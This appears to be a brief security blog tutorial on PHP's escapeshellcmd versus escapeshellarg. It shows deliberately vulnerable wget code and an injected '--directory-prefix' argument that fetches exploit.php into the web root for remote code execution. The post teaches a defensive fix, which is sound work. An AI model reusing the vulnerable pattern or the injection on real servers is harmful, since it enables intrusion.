05-03-2019 / From 0 to pentesting hero

escapeshellcmd vs escapeshellarg

Executing system commands on the programming language level sounds like asking for trouble.

But how to do it right and safe?

In PHP, if we want to use the system command that allows you to execute any program from the operating system we should use one of two commands: escapeshellcmd1 or escapeshellarg2.

But how do these two functions differ from each other? And what is the difference in their usage?

Can you use them interchangeably?

Let's start with the first function - escapeshellarg.

Its use assures that the user has given exactly one parameter to the command chosen by us.

User can not provide more parameters or execute another command.

The standard usage looks like this: the programmer selects the command, which execution wants to allow, for example dir - so that the user can list any directory.

The parameter provided by the user is passed to the escapeshellarg function.

The second function - escapeshellcmd.

Ensures that only one command will be executed. It is not possible to inject additional commands using a trick with a semicolon or pipe.

But - this command can contain an infinite number of parameters.

So if we decide to use it, we must make sure that any parameter can not be used incorrectly.

The most common mistake is to use the escapeshellcmd function instead of escapeshellarg.

Let's see the code of today's exemplary application.

<?php
$url = '--directory-prefix=c:\katalog\ http://localhost:1111/exploit.php';
system(escapeshellcmd('wget --directory-prefix=..\temp '.$url));

The user can download any website using wget. This page will be saved to the temp directory, which is located outside of the web server.

The point is, that the downloaded script should not be interpreted by PHP.

We achieved this thanks to the --directory-prefix parameter which allows you to specify the directory to which the downloaded file will be saved.

Directory prefix

Let's check how this example of application works.

We are downloading the google.pl website.

Download normal website

Indeed, the file index.html appeared in the tmp directory.

The programmer used the escapeshellcmd function in this code - so it is possible to specify an additional parameter to wget.

We can then pass the second parameter --directory-prefix - which this time points to the current directory.

Wget allows you to specify multiple directory paramaters, but only the last one is used.

So we can download any file with the php extension and it will be saved to the current directory.

Because the current directory allows you to execute php files - we have just gained the ability to execute code remotely on this server.

For example, I'm downloading the exploit.php file, that has the function phpinfo(), which gives basic information about a given installation.

Download exploit to current directory

Because the file was downloaded to the current directory - I can now run it without any problem.

--directory-prefix=. http://localhost:1111/exploit.php

So how do you protect yourself against this attack?

Use the escapeshellarg functions.

FunctionDescription
escapeshellcmdensure that user execute only one command
user can specify unlimited number of parameters
user cannot execute different command
escapeshellargensure that user pass only one parameter to command
user cannot specify more that one parameter
user cannot execute different command